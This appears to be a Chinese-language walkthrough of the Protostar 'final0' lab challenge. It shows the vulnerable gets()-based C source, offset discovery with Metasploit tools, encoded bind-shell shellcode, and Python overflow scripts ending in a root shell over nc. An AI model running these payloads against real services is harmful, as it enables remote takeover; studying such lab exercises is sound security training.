Shulou(Shulou.com)06/01 Report--

Hints: depending on where you are returning to, you may wish to use a toupper() proof shellcode.Source code#include "../ common/common.c"

#define NAME "final0"

#define UID 0

#define GID 0

#define PORT 2995

/*

* Read the username in from the network

*/

char *get_username()

{

char buffer[512];

char *q;

int i;

memset(buffer, 0, sizeof(buffer));

gets(buffer);

/* Strip off trailing new line characters */

q = strchr(buffer, '\n');

if(q) *q = 0;

q = strchr(buffer, '\r');

if(q) *q = 0;

/* Convert to lower case */

for(i = 0; i

< strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); username = get_username(); printf("No such user %s\n", username); } 终于来到Final了 T T 。。。 从题目的提示知道利用stack溢出，而且题中的buffer只开辟了512个字节，因此可以通过溢出修改ret的地址跳到我们定义的shellcode中去。那如何找到ret的地址呢？请看步骤：root@bt:/opt/metasploit/apps/pro/msf3/tools# ./pattern_create.rb 50 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab #!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.0.71", 2995)) buffer = "a"*512 exc = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab" s.send(buffer+exc) 接着在客户端运行一下，通过用gdb查看/tmp下面的调试文件信息即可得到真正的RET地址：root@protostar:/# gdb --quiet --core=/tmp/core.11.final0.2036 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0x37614136 in ?? () root@bt:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb 0x37614136 [*] Exact match at offset 20 得到RET的位置在buffer的512+20的位置。需要确认的话则将buffer="a"*532+"\xef\xbe\xad\xde"发送过去，则在调试文件中将提示地址为0xdeadbeef出错。在此就不确认了，偷懒一下。。。 接下来需要一个shellcode，用msfpayload生成即可：root@bt:~/Desktop/shellcode# msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c [*] x86/shikata_ga_nai succeeded with size 105 (iteration=1) unsigned char buf[] = "\xba\x5f\x74\xd6\x3c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31\xc9\xb1" "\x14\x31\x56\x14\x03\x56\x14\x83\xc6\x04\xbd\x81\xe7\xe7\xb6" "\x89\x5b\x5b\x6b\x24\x5e\xd2\x6a\x08\x38\x29\xec\x32\x9b\xe3" "\x84\xc6\x23\x15\x08\xad\x33\x44\xe0\xb8\xd5\x0c\x66\xe3\xd8" "\x51\xef\x52\xe7\xe2\xeb\xe4\x81\xc9\x73\x47\xfe\xb4\xbe\xc8" "\x6d\x61\x2a\xf6\xc9\x5f\x2a\x41\x93\xa7\x42\x7d\x4c\x2b\xfa" "\xe9\xbd\xa9\x93\x87\x48\xce\x33\x0b\xc2\xf0\x03\xa0\x19\x72"; 现将shellcode接在RET位置之后，通过查看调试文件需要找到shellcode的地址 #!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.0.71", 2995)) buffer = "a"*532 ret = "\xEF\xBE\xAD\xDE" nop = "\x90"*20 #msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c shellcode = "\xba\x5f\x74\xd6\x3c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"\ "\x14\x31\x56\x14\x03\x56\x14\x83\xc6\x04\xbd\x81\xe7\xe7\xb6"\ "\x89\x5b\x5b\x6b\x24\x5e\xd2\x6a\x08\x38\x29\xec\x32\x9b\xe3"\ "\x84\xc6\x23\x15\x08\xad\x33\x44\xe0\xb8\xd5\x0c\x66\xe3\xd8"\ "\x51\xef\x52\xe7\xe2\xeb\xe4\x81\xc9\x73\x47\xfe\xb4\xbe\xc8"\ "\x6d\x61\x2a\xf6\xc9\x5f\x2a\x41\x93\xa7\x42\x7d\x4c\x2b\xfa"\ "\xe9\xbd\xa9\x93\x87\x48\xce\x33\x0b\xc2\xf0\x03\xa0\x19\x72" s.send(buffer + ret + nop + shellcode) 在/tmp文件夹下查看gdb文件： root@protostar:/# gdb --quiet --core=/tmp/core.11.final0.2052 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) x/100x 0xbffffc00 0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc40: 0x41414141 0x41414141 0x00000000 0x00000200 0xbffffc50: 0x61616161 0x61616161 0x61616161 0xdeadbeef 0xbffffc60: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc70: 0x90909090 0xd6745fba 0xd9cddb3c 0x5ef42474 0xbffffc80: 0x14b1c931 0x03145631 0xc6831456 0xe781bd04 0xbffffc90: 0x5b89b6e7 0x5e246b5b 0x38086ad2 0x9b32ec29 0xbffffca0: 0x23c684e3 0x33ad0815 0xd5b8e044 0xd8e3660c 0xbffffcb0: 0xe752ef51 0x81e4ebe2 0xfe4773c9 0x6dc8beb4 得到目标地址是0xbffffc60现在RET的位置有了，shellcode的地址也有了，只欠东风了。。 #!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("192.168.0.71", 2995)) buffer = "a"*532 ret = "\x60\xfc\xff\xbf" nop = "\x90"*20 #msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c shellcode = "\xba\x5f\x74\xd6\x3c\xdb\xcd\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"\ "\x14\x31\x56\x14\x03\x56\x14\x83\xc6\x04\xbd\x81\xe7\xe7\xb6"\ "\x89\x5b\x5b\x6b\x24\x5e\xd2\x6a\x08\x38\x29\xec\x32\x9b\xe3"\ "\x84\xc6\x23\x15\x08\xad\x33\x44\xe0\xb8\xd5\x0c\x66\xe3\xd8"\ "\x51\xef\x52\xe7\xe2\xeb\xe4\x81\xc9\x73\x47\xfe\xb4\xbe\xc8"\ "\x6d\x61\x2a\xf6\xc9\x5f\x2a\x41\x93\xa7\x42\x7d\x4c\x2b\xfa"\ "\xe9\xbd\xa9\x93\x87\x48\xce\x33\x0b\xc2\xf0\x03\xa0\x19\x72" s.send(buffer + ret + nop + shellcode) 用另一个客户端连接4444端口（默认） D:\>

nc 192.168.0.71 4444

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root

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